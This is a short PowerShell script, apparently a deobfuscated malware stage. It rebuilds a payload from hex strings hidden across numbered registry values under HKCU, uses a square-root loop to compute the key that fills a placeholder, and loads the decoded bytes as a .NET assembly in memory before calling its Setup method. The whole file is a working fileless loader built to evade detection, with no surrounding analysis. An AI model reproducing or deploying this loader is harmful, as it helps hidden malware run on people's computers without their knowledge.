deobf.ps1

<# rncrmnip #>
for ($i=0;$i -le 700;$i++){
	$c="HKCU:\SOFTWARE\ewlwlgixuapvhb";
	Try{$a=$a+(Get-ItemProperty -path $c).$i}Catch{}
};
	
function chba{
	[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);
	$Bytes = [byte[]]::new($hs.Length / 2);
	for($i=0; $i -lt $hs.Length; $i+=2){
		$Bytes[$i/2] = [convert]::ToByte($hs.Substring($i, 2), 16)
	}	
	$Bytes
};

$i = 0;	
While ($True){
	$i++;
	$ko = [math]::Sqrt($i);
	if ($ko -eq 1000){ break}
}

[byte[]]$b = chba($a.replace("!@#",$ko));
[Reflection.Assembly]::Load($b);
[Mode]::Setup();